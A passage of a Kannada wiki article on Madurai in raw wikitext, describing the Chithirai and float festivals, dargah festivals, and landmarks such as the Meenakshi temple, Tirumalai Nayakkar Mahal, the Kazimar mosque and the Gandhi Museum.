ತಿರುಪ್ಪರಾಂಕುನ್‌ರಾಂ] ನಿಂದ ಬರುವ ದೇವತೆಗಳ ಮೆರವಣಿಗೆಯನ್ನೂ ಒಳಗೊಂಡಿರುವುದರಿಂದ, ಆ ಸಮಯದಲ್ಲಿ ಮಧುರೈ ಹಾಗೂ ಸುತ್ತಮುತ್ತಲಿನ ಇಡೀ ಪ್ರದೇಶವು ವಿಶೇಷ ಆಚರಣೆಗಳ ಸ್ಥಳವಾಗಿ ಮಾರ್ಪಟ್ಟಿರುತ್ತದೆ. ಚಿತ್ತಿರೈ ತಿಂಗಳಿನ ಉಜ್ವಲ ಕಾಲದ 5ನೇ ದಿನದಂದು ಚಿತ್ತಿರೈ ಉತ್ಸವವು ಆರಂಭಗೊಳ್ಳುತ್ತದೆ. ಉತ್ಸವದ 8, 9 ಮತ್ತು 10ನೇ ದಿನಗಳಲ್ಲಿ ಪ್ರಮುಖ ಆಚರಣೆಗಳು ನಡೆಯುತ್ತವೆ. ಚಿತ್ತಿರೈ ಉತ್ಸವದ ಎಂಟನೇ ದಿನವು ಮೀನಾಕ್ಷಿಯ ಪಟ್ಟಾಭಿಚೇಕ ಮತ್ತು ಬೆಳ್ಳೀ ಸಿಂಹಾಸನದ ಮೇಲೆ ಮೆರವಣಿಗೆ ಇತ್ಯಾದಿಗಳು ನಡೆದರೆ, 9ನೇ ದಿನ ದಿಗ್ವಿಜಯ ಉತ್ಸವವು ನಡೆಯುತ್ತದೆ. 10ನೇ ದಿನದಲ್ಲಿ (ಚಿತ್ರ ಪೂರ್ಣಿಮೆ/ಪೌರ್ಣಿಮೆ) ಮೀನಾಕ್ಷಿ ಮತ್ತು ಸುಂದರೇಶ್ವರರ್‌ರ ವಿವಾಹ ಮಹೋತ್ಸವವು ನಡೆಯುತ್ತದೆ. ದಂತಕಥೆಗಳ ಪ್ರಕಾರ ವಿಷ್ಣು ತನ್ನ ಸೋದರಿಯನ್ನು ಶಿವನಿಗೆ ಮದುವೆ ಮಾಡಿಕೊಡುತ್ತಾನೆ. ಈ ದಂತಕಥೆಯ ನೆನಪಿಗಾಗಿ ತಿರುಪ್ಪರಾಂಕುನ್‌ರಾಂನಿಂದ ಮಧುರೈಗೆ ಮೆರವಣಿಗೆ ಮೂಲಕ ವಿಷ್ಣುವಿನ ಮೂರ್ತಿಯೊಂದನ್ನು ಕರೆತರಲಾಗುತ್ತದೆ. ಸುಬ್ರಮ್ಹಣ್ಯ/ಸುಬ್ರಮಣ್ಯ ತಿರುಪ್ಪರಾಂಕುನ್‌ರಾಂ ದೇಗುಲದ ಪ್ರಮುಖ/ಮೂಲ ದೇವರಾದುದದರಿಂದ, ಸುಬ್ರಮ್ಹಣ್ಯ/ಸುಬ್ರಮಣ್ಯ ಮೂರ್ತಿಯು ಮೆರವಣಿಗೆಯ ಮುಂಚೂಣಿಯಲ್ಲಿರುತ್ತದೆ. ವಿವಾಹ ಮಹೋತ್ಸವದ ನಂತರ ಮೀನಾಕ್ಷಿ ಮತ್ತು ಸುಂದರೇಶ್ವರರ್‌ರ ಮೂರ್ತಿಗಳನ್ನು ಪಲ್ಲಕ್ಕಿಯ ಮೇಲೆ ಹಾಗೂ ಬೆಳ್ಳಿಯ ಆನೆಯ ಮೇಲಿನ ಭವ್ಯ ಮೆರವಣಿಗೆಯಲ್ಲಿ ಅನುಕ್ರಮವಾಗಿ ಕರೆದೊಯ್ಯಲಾಗುತ್ತದೆ. (ಇಲ್ಲಿ ಗಮನಿಸಬೇಕಾದ ವಿಷಯವೆಂದರೆ ಚಿತ್ತಿರೈ ತಿಂಗಳಲ್ಲಿ ವಾರ್ಷಿಕ ಬ್ರಹ್ಮೋತ್ಸವಂ ಆಚರಿಸುವ ಎಲ್ಲಾ ಶಿವ ದೇಗುಲಗಳಲ್ಲಿ ತಿರುಕ್ಕಲ್ಯಾಣಂ ಉತ್ಸವವನ್ನು ಚಿತ್ರ ಪೌರ್ಣಮಿಯಂದು ಆಚರಿಸಲಾಗುತ್ತದೆ). ಈ ಅವಧಿಯಲ್ಲಿ ಅಜ್ಹಘರ್‌ ಕೋಯಿಲ್‌ (ತಿರುಮಾಲಿರುಂಚೋಳೈ)ನಿಂದ ಕಲ್ಲಜ್ಹಘರ್‌ ಮಧುರೈನ ಪೂರ್ವ ಹೊರವಲಯದ ವೈಗೈ ನದಿ ಸಮೀಪದ ವಂಡಿಯೂರಿಗೆ ಭೇಟಿ ನೀಡುತ್ತಾರೆ. ನಂಬಿಕೆಯ ಪ್ರಕಾರ ಕಲ್ಲಜ್ಹಘರ್‌ ತನ್ನ ಸಹೋದರಿಯ ಮದುವೆಗೆ ತುಂಬ ತಡವಾಗಿ ಬಂದೆನೆಂದು ಅರಿವಾಗಿ ನಿರಾಶೆಯಿಂದ ನದಿ ದಾಟಲು ನಿರಾಕರಿಸಿ ಅಜ್ಹಘರ್‌ ಕೋಯಿಲ್‌ಗೆ ಮರಳುತ್ತಾರೆ. ಐತಿಹಾಸಿಕವಾಗಿ, ಚಿತ್ತಿರೈ ಉತ್ಸವವನ್ನು ಮಾಸ್ಸಿಯಲ್ಲಿ ನಡೆಸಲಾಗುತ್ತಿತ್ತು, ಹಾಗಾಗಿಯೇ ಉತ್ಸವದ ಮೆರವಣಿಗೆಗಳು ಮಾಸಿ ಬೀದಿಗಳಲ್ಲೇ ನಡೆಯುತ್ತವೆ. ನಾಯಕ್‌ ರಾಜರುಗಳ ಕಾಲದಲ್ಲಿ ಉತ್ಸವವನ್ನು ಅಜ್ಹಘರ್‌ ಕೋಯಿಲ್‌ನ ಆಚರಣೆಯ ಕಾಲಕ್ಕೆ ಸರಿಹೊಂದುವಂತೆ ಮಾಡಲು ಎದ್ದುಕಾಣುವಂತೆ ಚಿತ್ತಿರೈ ತಿಂಗಳಿಗೆ ಬದಲಾಯಿಸಲಾಯಿತು. ತೇರು (ರಥ) ಉತ್ಸವವನ್ನು ವಾರ್ಷಿಕೋತ್ಸವದ 11ನೇ ದಿನ ಆಚರಿಸಲಾಗುತ್ತದೆ. === ಸಂತನಕೂಡು ಉತ್ಸವಗಳು === ಆಯಾ ದರ್ಗಗಳ ಸಂತರ ನೆನಪಿಗಾಗಿ ಸಂತನಕೂಡು ಉತ್ಸವಗಳನ್ನು ದರ್ಗಾಗಳಲ್ಲಿ ಆಚರಿಸಲಾಗುತ್ತದೆ. ಸುತ್ತಮುತ್ತಲಿನ ದರ್ಗಾಗಳು ಹಾಗೂ ಅಲ್ಲಿನ ಸಂತನಕೂಡು ಉತ್ಸವದ ದಿನಾಂಕಗಳು. {| class="wikitable" |- ! ದರ್ಗಾ ! ಸಂತರ ಹೆಸರು ! ಸ್ಥಳ ! ಸಂತನಕೂಡು ಉತ್ಸವದ ದಿನಾಂಕ ([[ಹಿಜರಿ ಪಂಚಾಂಗ]])) |- | ಸಿಕಂದರ್‌ ಮಲೈ | ಹಜರತ್‌‌ ಸುಲ್ತಾನ್‌ ಸಿಕಂದರ್‌ ಬಾದುಷಾ ಷಹೀದ್‌ ರಾಜಿ.. | [[ತಿರುಪಾರಾಂಕುಂದ್ರಂ]] | [[ರಜಾಬ್]]-15 |- | ಕಣವೈ | ಜರತ್‌‌ ಸೈಯದ್‌ ಇಬ್ರಾಹಿಂ ವಲೈಯುಲ್ಲಾಹ್‌ ರಾಜಿ.. | ಮೇಲಕ್ಕಳ್‌ | ರಬಿ' ಅಲ್‌-ಥಾಣಿ/0}-2 |- | ತಿರುವೇದಗಂ | ಹಜರತ್‌‌ ಷಾ ಹುಸೇನ್‌ ಪರ್ಹೇಜ್‌ ರಾಜಿ... | [[ಷೋ/ಶೋಲಾವಂದನ್]] | [[ಮು/ಮೊಹರ್ರಂ]]-26 |- |} === ತೆಪ್ಪೋರ್ಚವಂ/ತೆಪ್ಪೋತ್ಸವ === ಈ ಉತ್ಸವವನ್ನು ಜನವರಿ ತಿಂಗಳಲ್ಲಿ, ಥಾ/ಥಯ್‌ ತಮಿಳು ತಿಂಗಳಿನ ಹುಣ್ಣಿಮೆಯ ದಿನದಂದು ಆಚರಿಸಲಾಗುತ್ತದೆ . ಅಲಂಕೃತವಾದ ದೇವತೆ ಮೀನಾಕ್ಷಿ ಹಾಗೂ ಆಕೆಯ ಪತಿಯ ಪ್ರತಿಮೆಗಳನ್ನು ವರ್ಣಮಯ ಮೆರವಣಿಗೆಯಲ್ಲಿ ಮೀನಾಕ್ಷಿ ದೇವಸ್ಥಾನದಿಂದ ದೊಡ್ಡದಾದ ಮಾರಿಯಮ್ಮನ್‌ ತೆಪ್ಪಕುಲಂಗೆ ಕರೆದೊಯ್ಯಲಾಗುತ್ತದೆ. ಈ ಪ್ರತಿಮೆಗಳನ್ನು ಮಿನುಗುತ್ತಿರುವ ದೀಪಗಳು ಹಾಗೂ ಹೂವಿಗಳಿಂದ ಅಲಂಕೃತವಾದ ತೆಪ್ಪದ ಮೇಲಿಟ್ಟು ಕೆರೆಯ ಮೇಲೆ ತೇಲಿ ಬಿಡಲಾಗುತ್ತದೆ. [http://www.madurai.org.uk/culture/float-festival.html ಇಲ್ಲಿ ನೋಡಿ] === ಮತ್ತು ಪೊಂಗಲ್‌ &amp; ಪ್ರಸಿದ್ಧ ಅಲಂಗನಲ್ಲೂರ್‌ ಜಲ್ಲಿಕಟ್ಟು === == ಪ್ರವಾಸೋದ್ಯಮ ಮತ್ತು ಹೆಗ್ಗುರುತುಗಳು == ಭಾರತದ ಅತಿ ಪ್ರಮುಖ [[ಹಿಂದು]] ತೀರ್ಥಯಾತ್ರಾ ಸ್ಥಳಗಳಲ್ಲಿ ಮಧುರೈ ಒಂದಾಗಿದೆ. ನಗರವು ಹಾಗೂ ಬಹು ಸಂಖ್ಯೆಯ ದೇಶದೊಳಗಿನ ಯಾತ್ರಾರ್ಥಿಗಳನ್ನು ಮತ್ತು ವಿದೇಶಿ ಪ್ರವಾಸಿಗರನ್ನು ಆಕರ್ಷಿಸುತ್ತದೆ. 2007ರಲ್ಲಿ ಸರಿಸುಮಾರು 4,100,000 ಪ್ರವಾಸಿಗರು ಮಧುರೈಗೆ ಭೇಟಿ ನೀಡಿದ್ದರು, ಅವರಲ್ಲಿ 224,000<ref>{{cite web|url= http://www.hindu.com/2007/11/05/stories/2007110555110600.htm|title= Tourism works around temple to be over by March|accessdate= 2009-01-24|archive-date= 2007-11-07|archive-url= https://web.archive.org/web/20071107054448/http://www.hindu.com/2007/11/05/stories/2007110555110600.htm|url-status= dead}}</ref> ಮಂದಿ ವಿದೇಶಿಗರಿದ್ದರು. ==== ಮೀನಾಕ್ಷಿ -ಸುಂದರೇಶ್ವರರ್ ದೇಗುಲ ==== [[ಚಿತ್ರ:Madurei 350.jpg|thumb|right|ಮೀನಾಕ್ಷಿ ಅಮ್ಮನ್‌ ದೇವಾಲಯ]] ಇಂದಿಗೂ ಭಾರತದ ಅತಿ ಪ್ರಮುಖ ಸಾಂಸ್ಕೃತಿಕ ಮತ್ತು ವಾಸ್ತುವೈಭವದ ಹೆಗ್ಗುರುತುಗಳಲ್ಲಿ ಒಂದಾಗಿರುವ ಮಧುರೈನ [[ಮೀನಾಕ್ಷಿ-ಸುಂದರೇಶ್ವರರ್‌]] ದೇಗುಲವನ್ನು ಮೂಲತಃ ಪ್ರಾಚೀನ ಪಾಂಡ್ಯರ ಅರಸ ಕುಲಶೇ/ಸೇಖರನು ಕಟ್ಟಿಸಿದ್ದು ಎನ್ನಲಾಗುತ್ತದೆ. [[ತಮಿಳುನಾಡಿನ ಪ್ರಧಾನ ಶಿವ ದೇವಾಲಯ]]ಗಳಲ್ಲಿ ಇದೂ ಒಂದಾಗಿದೆ. ಚಕ್ರವ್ಯೂಹದಂತಹ ಸುತ್ತುಬಳಸಿನ ಜಟಿಲ ರಚನೆಯ ಮೀನಾಕ್ಷಿ ದೇಗುಲವು ದೇವತೆ ಮೀನಾಕ್ಷಿ ಮತ್ತು ಆಕೆಯ ಪತಿ ಸುಂದರೇಶ್ವರರ್‌ (''ಸ್ಫುರದ್ರೂಪಿ ದೇವ'' )ರ ಪ್ರೇಮವನ್ನು ಆಚರಿಸುವ ವಿಶ್ವಪ್ರಸಿದ್ಧವಾಗಿದೆ<ref name="FrommersIndia" />. ಪ್ರಾಚೀನ ಮಧುರೈ ನಗರವನ್ನು ಕಮಲದ ಆಕೃತಿಯಲ್ಲಿ ನಿರ್ಮಿಸಲಾಗಿದ್ದು, ದೇಗುಲವು ಕೇಂದ್ರಭಾಗದಲ್ಲಿದ್ದು ರಸ್ತೆಗಳು ಹಾಗೂ ರಾಜಮಾರ್ಗಗಳು ಒಂದರ ನಂತರ ಒಂದರಂತೆ ಏಕಕೇಂದ್ರಿತವಾಗಿ ಕೇಂದ್ರದಿಂದ ಹೊರಕ್ಕೆ ಬರುವಂತೆ ಇದೆ. ದಂತಕಥೆಯೊಂದರ ಪ್ರಕಾರ ನಗರಕ್ಕೆ ಹೆಸರಿಡಬೇಕಾದ ದಿನದಂದು, ಮಹಾಶಿವನು ನಗರ ಹಾಗೂ ನಗರದ ಜನರ ಮೇಲೆ ತನ್ನ ಜಟೆಯಿಂದ ಅಮೃತವನ್ನು ಪ್ರೋಕ್ಷಿಸಿ ಆಶೀರ್ವದಿಸಿದನು. ಹಾಗಾಗಿ ನಗರವು ''ಮಧುರಾಪುರಿ'' ಎಂದರೆ ''ಪವಿತ್ರ ಅಮೃತ ನಗರಿ'' ಎಂಬರ್ಥ ಬರುವ ಹೆಸರನ್ನು ಹೊಂದಿತು. ಈ ದಂತಕಥೆಯು ಉಳಿದಂತೆ ದ್ರಾವಿಡ ನಗರವಾಗಿದ್ದ ಮಧುರೈನ ವ್ಯುತ್ಪನ್ನವನ್ನು ಸಂಸ್ಕೃತೀಕರಿಸಲು/ಆರ್ಯವ್ಯುತ್ಪನ್ನಕ್ಕೆ ಬದಲಿಸಲು ತಡವಾಗಿ ಹೆಣೆದಿರಬಹುದಾಗಿದ್ದ ಕಥೆಯಾಗಿರಬಹುದು. ಇದೇ ಸ್ಥಳದಲ್ಲಿ ನಟರಾಜರ್‌ ದೇವನು ತನ್ನ ಬಲಗಾಲೆತ್ತಿ ನೃತ್ಯ ಮಾಡಿದ್ದು. (ಕಾಲ್‌ ಮಾರಿಯ ಆದಿಯಾ ನಟರಾಜರ್). ಮಹಾಶಿವನಿಗೆ ನಿರ್ಮಾಣವಾದ ದೇಗುಲವನ್ನು ಕಂಡು ಆನಂದವಾಗಿ ವಿಭಿನ್ನರೀತಿಯ ನೃತ್ಯವನ್ನು ಮಾಡಿದನು. [[ಕನ್ನಗಿ]] ಇಡೀ ನಗರವನ್ನು ದಹಿಸಿದ ಮೇಲೂ ಉಳಿದುಕೊಂಡ ದೇವಸ್ಥಾನವಿದು. ಪ್ರಸಕ್ತ ಕನಿಷ್ಟ 2009ರ ಕೊನೆಯವರೆಗೆ ಎಲ್ಲಾ ಗೋಪುರಗಳನ್ನು ಅದರ ಮೇಲಿನ ಶೀಲ್ಪಕಲೆಗಳು ಕಾಣದಂತೆ ಮರೆಮಾಚಿ ಅಪಾರದರ್ಶಕ ಮುಸುಕುಗಳು ಹಾಗೂ ಚೌಕಟ್ಟುಗಳನ್ನು ಇಳಿಬಿಡಲಾಗಿದೆ. ==== ತಿರುಮಲೈ ನಾಯಕರ್‌ ಮಹಲ್‌ ==== [[ಚಿತ್ರ:30Madura Tirumala Nayakkas Palace.jpg|thumb|right|120px|ತಿರುಮಲೈ ನೈಕರ್‌ ಮಹಲ್‌]] ಈ ಅರಮನೆ ಕಟ್ಟಡವನ್ನು 1636ರಲ್ಲಿ ಇಂಡೋ-ಸಾರಸ್ಯನ್‌ /ಭಾರತೀಯ ಇಸ್ಲಾಂ ಶೈಲಿಯಲ್ಲಿ [[ತಿರುಮಲೈ ನಾಯಕರ್‌]] ರಾಜನು ಕಟ್ಟಿಸಿದ. ಈ ಕಟ್ಟಡವು ಈಗ ರಾಷ್ಟ್ರೀಯ ಸ್ಮಾರಕವಾಗಿದ್ದು ತಮಿಳುನಾಡಿನ ಪುರಾತತ್ವ ಇಲಾಖೆಯ ಆಶ್ರಯದಲ್ಲಿದೆ. ಮೂಲ ಅರಮನೆ ಕಟ್ಟಡವು ಪ್ರಸ್ತುತ ಕಟ್ಟಡದ ನಾಲ್ಕರಷ್ಟು ದೊಡ್ಡದಾಗಿತ್ತು. ಅದನ್ನು, ಸ್ವರ್ಗ-ವಿಲಾಸ ಮತ್ತು ರಂಗ-ವಿಲಾಸ ಎಂದು ಎರಡು ಭಾಗಗಳನ್ನಾಗಿ ವಿಭಜಿಸಲಾಗಿತ್ತು. ಈ ಪ್ರತಿಯೊಂದು ವಿಭಾಗದಲ್ಲಿಯೂ ರಾಜವಂಶ ನಿವಾಸಗಳು, ರಂಗಮಂದಿರ, ದೇಗುಲಗಳು, ಮಹಡಿ/ವಠಾರಗಳು, ಶಸ್ತ್ರಾಗಾರ, ಪಲ್ಲಕ್ಕಿ ಸ್ಥಳ, ವಾದ್ಯಕೂಟ, ವಸತಿ ಸಮುಚ್ಛಯ, ಕೊಳಗಳು, ಮತ್ತು ಉದ್ಯಾನಗಳಿದ್ದವು. ಕಟ್ಟಡದ ಮೇಲ್ಛಾವಣಿಯಲ್ಲಿ ಶೈವ ಹಾಗೂ ವೈಷ್ಣವ ಪಂಥದ ವಿಸ್ತಾರವಾದ ಚಿತ್ರಗಳಿಂದ ಅಲಂಕೃತವಾಗಿದ್ದವು. ಸ್ವರ್ಗವಿಲಾಸಂ ಎಂದು ಹೆಸರಾದ ಯಾವುದೇ ತೊಲೆ ಇಲ್ಲವೇ ಜಂತಿಗಳಿಂದ ಆಧಾರ ಹೊಂದಿಲ್ಲದ ಪೂರ್ಣವಾಗಿ ಗಾರೆ ಹಾಗೂ ಇಟ್ಟಿಗೆಗಳಿಂದ ನಿರ್ಮಿತವಾದ ಕಮಾನುಗಳಿಂದ ಅಲಂಕೃತವಾದ ಅಷ್ಟಭುಜಾಕೃತಿಯ ಮೊಗಸಾಲೆಯನ್ನು ಹೊಂದಿದೆ. ಅದರ ಗುಮ್ಮಟಗಳ ಮೇಲೆ ಹಾಗೂ ಕಮಾನುಗಳ ಮೇಲೆ ಮಾಡಿರುವ ನಯವಾದ ಗಾರೆ ಕಲೆ ಅತ್ಯದ್ಭುತವಾಗಿದೆ. ದೊಡ್ಡ ಗಾತ್ರದ ಸ್ತಂಭಗಳು ಮತ್ತು ಕಟ್ಟೋಣಗಳು ವಾಸ್ತುಶಿಲೆಯ ಮೇಲಿನ ಪ್ರೌಢಿಮೆಯನ್ನು ತೋರಿಸುತ್ತವೆ. ಒಳಾಂಗಣ/ದರ್ಬಾರು/ರಾಜಾಸ್ಥಾನ ಹಾಗೂ ನೃತ್ಯ ಅಂಗಳಗಳು ಸಂದರ್ಶಕರಿಗೆ ಪ್ರಮುಖ ಆಕರ್ಷಣೆಗಳಾಗಿವೆ. ಪ್ರತಿಯೊಂದು 58 ಅಡಿ ಎತ್ತರ ಹಾಗೂ 5 ಅಡಿ ಸುತ್ತಳತೆ ಹೊಂದಿರುವ ಒಟ್ಟು 248 ಸ್ತಂಭಗಳಿವೆ. ರಾಜರುಗಳು ಬಳಸುತ್ತಿದ್ದ ಪೀಠೋಪಕರಣಗಳು ಮತ್ತು ಗೃಹಸಾಮಗ್ರಿಗಳನ್ನು ಅರಮನೆಯಲ್ಲಿ ಪ್ರದರ್ಶನಕ್ಕಿಡಲಾಗಿದೆ. ತಮಿಳು ಹಾಗೂ ಆಂಗ್ಲ ಭಾಷೆಗಳಲ್ಲಿ "ಸಿಲಾಪ್ಪಥಿಕಾರಂ"ನ ಕಥನ ಚಿತ್ರಿಸುವ "ಬೆಳಕು ಹಾಗೂ ಸಂಗೀತದ" ಪ್ರದರ್ಶನಗಳನ್ನು ಅರಮನೆಯಲ್ಲಿ ವ್ಯವಸ್ಥೆಗೊಳಿಸಲಾಗಿದೆ. ಈ ಅರಮನೆಯು ''ಬಾಂಬೆ'' , ''ಇರುವರ್'' ‌, ''ಗುರು'' ಮತ್ತು ''ಜೋಡಿ'' ಮುಂತಾದ ಭಾರತೀಯ ಚಿತ್ರಗಳಲ್ಲಿ ಕಾಣಿಸಿಕೊಂಡಿದೆ. ==== ಖಾಜಿಮರ್‌ ದೊಡ್ಡ ಮಸೀದಿ (ಪೆರಿಯಾ ಪಲ್ಲಿವಾಸಲ್‌) ಮತ್ತು ಮಕ್‌ಬರಾ ==== [[ಚಿತ್ರ:kazimarbigmosque.JPG|right|thumb|185px|ಖಾಜಿಮರ್‌ ದೊಡ್ಡ ಮಸೀದಿ , ಮಧುರೈ]] [[ಚಿತ್ರ:maqbara.jpg|left|thumb|185px|ದೊಡ್ಡ ಮಸೀದಿಯ ಬಳಿಯಿರುವ ಮಧುರೈ ಹಜರತ್‌ರ ಮಕಬರಾ]] ಮಧುರೈ ನಗರದ ಹೃದಯಭಾಗದಲ್ಲಿ ಪ್ರಸಿದ್ಧ [[ಮಸೀದಿ]] (ಮಸ್ಜಿದ್‌) ಇದೆ, [[ಪೆರಿಯರ್‌]] (ಕೇಂದ್ರ) ಬಸ್‌‌ ನಿಲ್ದಾಣದಿಂದ ಕೇವಲ 500 ಮೀಟರ್‌ಗಳಷ್ಟು ಹಾಗೂ ಮಧುರೈ ರೈಲ್ವೆ ಜಂಕ್ಷನ್‌ನ ಆಗ್ನೇಯ ದಿಕ್ಕಿನಲ್ಲಿ 1 ಕಿಲೋಮೀಟರ್‌ಗಳಷ್ಟು ದೂರದಲ್ಲಿದೆ. ಮಧುರೈನಲ್ಲಿನ ಪ್ರಪ್ರಥಮ [[ಮುಸ್ಲಿಮ]]ರ ಪೂಜಾಸ್ಥಳವಾದ ಈ [[ಮಸೀದಿ]]ಯನ್ನು 13ನೇ ಶತಮಾನದಲ್ಲಿ [[ಓಮನ್‌]]ನಿಂದ ಬಂದ ಪ್ರವಾದಿ ಮುಹಮ್ಮದ್‌ರ ವಂಶಸ್ಥರಾದ ಹಜರತ್‌‌ ಖಾಜಿ ಸೈಯದ್‌ ತಜುದ್ದೀನ್‌ರು ಆಗಿನ ಪಾಣಿದಿಯಾ/ಪಾಂಡ್ಯ ರಾಜ, ಕೂ‌(ನ್) ಪಾಂಡಿಯನ್‌ರಿಂದ ಈ ಸ್ಥಳವನ್ನು ಪಡೆದು ಕಟ್ಟಿಸಿದರು. '''[http://www.maqbara.com ಮಧುರೈನ ಪ್ರಸಿದ್ಧ ಹಜರತ್‌‌ಗಳ] ದರ್ಗಾ ಆಗಿರುವ [[ಮಧುರೈ ಮಕ್‌ಬರಾ]]''' ಸಹಾ('''ಪ್ರವಾದಿ ಮುಹಮ್ಮದ್‌ರ ವಂಶಸ್ಥರಾದ''' - ಹಜರತ್‌‌ ಮೀರ್‌ ಅಹಮದ್‌ ಇಬ್ರಾಹಿಂ, ಹಜರತ್‌‌ ಮೀರ್‌ ಅಮ್ಜದ್‌ ಇಬ್ರಾಹಿಂ ಮತ್ತು ಹಜರತ್‌‌ ಸೈಯದ್‌ ಅಬ್ದುಸ್‌ ಸಲಾಂ ಇಬ್ರಾಹಿಂ ರಹಮತುಲ್ಲಾಹಿ ಅಲೈಹಿಂ) ಈ [[ಮಸೀದಿ]]ಯ ಆವರಣದಲ್ಲಿಯೇ ಇದೆ. ಖಾಜಿ ಸೈಯದ್‌ ತಜುದ್ದೀನರ ಎಲ್ಲಾ ವಂಶಸ್ಥರು (ಹಕ್‌ದಾರ್‌ಗಳು - ಈ [[ಮಸೀದಿ]]ಯ ಷೇರುದಾರರುಗಳನ್ನು ಸೈಯದ್‌ಗಳೆಂದು ಕರೆಯುತ್ತಾರೆ) ಇದೇ ಪ್ರದೇಶದಲ್ಲಿಯೇ (ಖಾಜಿ ಮಾರ್‌ ಬೀದಿ) ಸುಮಾರು 700 ವರ್ಷಗಳಿಗಿಂತಲೂ ಹೆಚ್ಚಿನ ಕಾಲದಿಂದ ವಾಸವಾಗಿದ್ದು ಆಗಿನಿಂದ ಈ [[ಮಸೀದಿ]]ಯನ್ನು ನಿರ್ವಹಿಸುತ್ತಾ ಬಂದಿದ್ದಾರೆ. ಸೈಯದ್‌ ತಜುದ್ದೀನರನ್ನು ಸುಲ್ತಾನರ ಕಾಲದಲ್ಲಿ ಖಾಜಿಯೆಂದು ನೇಮಕ ಮಾಡಲಾಗಿತ್ತು, ಹಾಗೂ ಈಗಲೂ ಮಧುರೈನ ಖಾಜಿ ಮಾರ್‌ ಬೀದಿಯಲ್ಲಿ ವಾಸವಾಗಿರುವ ಅವರ ವಂಶಸ್ಥರನ್ನೇ [http://www.tn.gov.in ತಮಿಳುನಾಡು ಸರ್ಕಾರ] ದ ವತಿಯಿಂದ ಖಾಜಿಯನ್ನಾಗಿ ನೇಮಕ ಮಾಡಲಾಗುತ್ತಿದೆ. ಎಲ್ಲಾ ಸೈಯದ್‌ಗಳು [[ಇಸ್ಲಾಂ]]ನ [[ಹನಫಿ]] ಪಂಥದ [[ಸುನ್ನಿ]] ಪಂಗಡಕ್ಕೆ ಸೇರಿದವರಾಗಿದ್ದಾರೆ. ಖಾಜಿ ಸೈಯದ್‌ ತಜುದ್ದೀನರ [[ವಂಶಸ್ಥರು]]ಗಳಲ್ಲಿ ಬಹುತೇಕ ಮಂದಿ [[ಷಾದಿಲಿಗಳು]] (ಷಾಜುಲಿ) ಸೂಫಿ ಪಂಥದ [http://www.shazuli.com ಫಸ್ಸಿಯತುಷ್‌ ಷಾದಿಲಿಯಾ] ವನ್ನು ಪಾಲಿಸುತ್ತಾರೆ. ==== ಗಾಂಧಿ ವಸ್ತುಸಂಗ್ರಹಾಲಯ ==== [[ಚಿತ್ರ:Gandhi Museum, Madurai.jpg|right|thumb|ಗಾಂಧಿ ವಸ್ತುಸಂಗ್ರಹಾಲಯ]] ಈ ವಸ್ತುಸಂಗ್ರಹಾಲಯವು [[ಮಹಾತ್ಮಾ ಗಾಂಧಿ]]ಯವರ ಬಗ್ಗೆ ಮಾಹಿತಿ ನೀಡುವುದಲ್ಲದೇ, ಪ್ರಮುಖವಾಗಿ [[ನಾಥೂರಾಮ್‌ ಗೋಡ್ಸೆ]]ಯಿಂದ [[ಹತ್ಯೆಯಾದಾಗ]] ಅವರು ಧರಿಸಿದ್ದ ರಕ್ತಸಿಕ್ತ ಮೂಲ ವಸ್ತ್ರದ ಭಾಗವನ್ನು ಇಲ್ಲಿ ಪ್ರದರ್ಶನಕ್ಕಿಡಲಾಗಿದೆ. ಆ ವಸ್ತ್ರದ ಉಳಿದ ಭಾಗವನ್ನು ದೆಹಲಿಯ ಗಾಂಧಿ ವಸ್ತುಸಂಗ್ರಹಾಲಯದಲ್ಲಿ ಇಡಲಾಗಿದೆ. ಗಾಂಧಿ ಸಂಗ್ರಹಾಲಯಗಳೆಂದು ಹೆಸರಾದ ಭಾರತದಲ್ಲಿನ 5 ವಸ್ತುಸಂಗ್ರಹಾಲಯಗಳಲ್ಲಿ (ಉಳಿದವು ಮುಂಬಯಿ, ಬರಖ್‌ಪುರ್‌, ಸಾಬರ್‌ಮತಿ/ಸಬರ್‌ಮತಿ ಮತ್ತು ಪಾಟ್ನಾ) ಈ ವಸ್ತುಸಂಗ್ರಹಾಲಯವೂ ಒಂದು.<ref>{{cite web|url=http://www.thaindian.com/newsportal/health/gandhi-relics-should-be-a-medium-to-spread-the-message-gandhi-museum-director_100162967.html|title=Gandhi relics should be a medium to spread the message: Gandhi Museum director|accessdate=2009-03-08|archive-date=2012-03-15|archive-url=https://web.archive.org/web/20120315002205/http://www.thaindian.com/newsportal/health/gandhi-relics-should-be-a-medium-to-spread-the-message-gandhi-museum-director_100162967.html|url-status=dead}}</ref> ಗಾಂಧಿಯವರ ಜೀವಿತ ಕಾಲದಲ್ಲಿನ ಅವರು ವಿಶ್ವದಾದ್ಯಂತದ ಅನೇಕ ಮುಖಂಡರೊಡನೆ ಕಾಣಿಸಿಕೊಂಡಿರುವ ಹಾಗೂ ಸ್ವಾತಂತ್ರ್ಯ ಸಂಗ್ರಾಮದ ಅನೇಕ ಸಂದರ್ಭಗಳ ಬಹಳಷ್ಟು ಛಾಯಾಚಿತ್ರಗಳನ್ನು ಕೂಡಾ ಇಲ್ಲಿ ಪ್ರದರ್ಶನಕ್ಕಿಡಲಾಗಿದೆ. [[ಮಾರ್ಟಿನ್‌ ಲೂಥರ್‌ ಕಿಂಗ್‌]] Jr.ರು 1959ರಲ್ಲಿ ತಾವು ಕೈಗೊಂಡಿದ್ದ ಭಾರತ ಪ್ರವಾಸದಲ್ಲಿ ಈ ವಸ್ತುಸಂಗ್ರಹಾಲಯಕ್ಕೆ ಸಹಾ ಭೇಟಿ ನೀಡಿದರು ಹಾಗೂ ಇದರಿಂದ ಪ್ರಭಾವಿತರಾಗಿಯೇ ಮುಂದೆ ತಾವು ಜನಾಂಗೀಯ ತಾರತಮ್ಯಗಳ ವಿರುದ್ಧ ಶಾಂತಿಯುತ ಪ್ರತಿಭಟನೆ ಕೈಗೊಂಡರು ಎನ್ನಲಾಗುತ್ತದೆ <ref>{{cite web|url= http://www.hindu.com/2006/07/01/stories/2006070122320300.htm|title= Madurai soil for Cleveland|accessdate= 2009-01-24|archive-date= 2007-10-17|archive-url= https://web.archive.org/web/20071017161929/http://hindu.com/2006/07/01/stories/2006070122320300.htm|url-status= dead}}</ref>.ವಸ್ತುಸಂಗ್ರಹಾಲಯದ ಸಂದರ್ಶಕರಿಗೆ ಯಾವುದೇ ಪ್ರವೇಶ ಶುಲ್ಕವಿಲ್ಲ. ==== ತಿರುಪರಾಕುಂದ್ರಂ ==== [[ಚಿತ್ರ:Tiruparankundram 